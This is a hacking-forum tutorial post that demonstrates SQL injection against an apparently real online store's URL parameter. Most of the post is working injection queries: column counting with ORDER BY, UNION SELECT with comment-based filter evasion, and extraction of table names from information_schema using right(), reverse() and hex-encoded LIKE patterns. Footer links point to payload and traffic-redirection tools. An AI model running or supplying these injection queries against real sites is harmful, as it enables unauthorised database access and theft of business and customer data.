[Tutorial]Some experiments on sql injection query-by Spirit

so, hello Sinisterly members
Today i am here to share some experiments Evil

So, let's try Wink2

Target::

PHP Code:
http://teamgear.us/store.php?id=1 

Lets start with our normal injection.

Quote:http://teamgear.us/store.php?id=1'+ORDER+By+15-- - [No-error]

Quote:http://teamgear.us/store.php?id=1'+ORDER+By+16-- - [Error]

Mean their are 15 total number of columns. so, now lest try our union select query.

PHP Code:
http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- - 

so, columns==> 8 :: 5 :: 3 (2) are vulnerable cheerz.
[Image: KQvJ3QE.png]

Now lets start playing with our DIOS/and its output.

we will do everything on this type::

Code:
http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,concat/**_**/(t.able_name),9,10,11,12,13,14,15+f.rom+i.nformation_schema.tables where table_schema=database()-- -

☆¸.•*☆Part 1☆¸.•*☆
About right() function:-

MySQL RIGHT() extracts a specified number of characters from the right side of a string.

Syntax:

PHP Code:
RIGHT(str,len) 

Quote:str-the string from whose right side a number of characters are to be extracted.
len-An integer indicating the number of characters to be extracted from str.

so we can use

PHP Code:
concat (right(t.able_name,4<- or any thing)) 

so, our query will be

Code:
http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,concat (right(t.able_name,4)),9,10,11,12,13,14,15+f.rom+i.nformation_schema.tables where table_schema=database()-- -

so as you can see our table invoices is just showing the 4 characeter of table name from right side ices.

so, same as we can use left() , mid() etc.

☆¸.•*☆Part 2☆¸.•*☆
About reverse()

MySQL REVERSE() reverses a string supplied as argument.

suppose :- spirit ->after reversing->tirips

so, we can use

PHP Code:
reverse(t.able_name) 

so, lets try it out Thumbsup

PHP Code:
http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,concat (reverse(t.able_name)),9,10,11,12,13,14,15+f.rom+i.nformation_schema.tables where table_schema=database()-- - 

So, as you can see invoices reversed into seciovni

☆¸.•*☆Part 3☆¸.•*☆
About LIKE operator:-

So, first thanks to Janus for telling me about this.

so, the LIKE operator is used to search for a specified pattern in a column.

PHP Code:
SELECT column_name(s)
FROM t able_name
WHERE c olumn_name LIKE pattern; 

for more details check here=> LIKE OPERATOR

so, we can use

PHP Code:
table_name like <your_pattern> 

don't forget to hex your value before you use it (sometimes in single quote it doesn't work Sarcasm

)
so, now our query will be like::

lets just print those table name which is starting with =>i
i%=> 6925 don't forget to put 0x before it

Code:
http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,group_concat/**_**/(t.able_name),9,10,11,12,13,14,15+f.rom+i.nformation_schema.tables where table_schema=database() and t.able_name like i% <-in hex-- -

Hope you learned something new in this thread Cool

Morpheus Redirect browser traffic to Google Sphere

[NetToolkit-4.6]Android payload module

[Part 1]$~Metasploit for beginners

Special thanks to:- CrackingForums, and to all of you.
[Image: uCLKMus.png]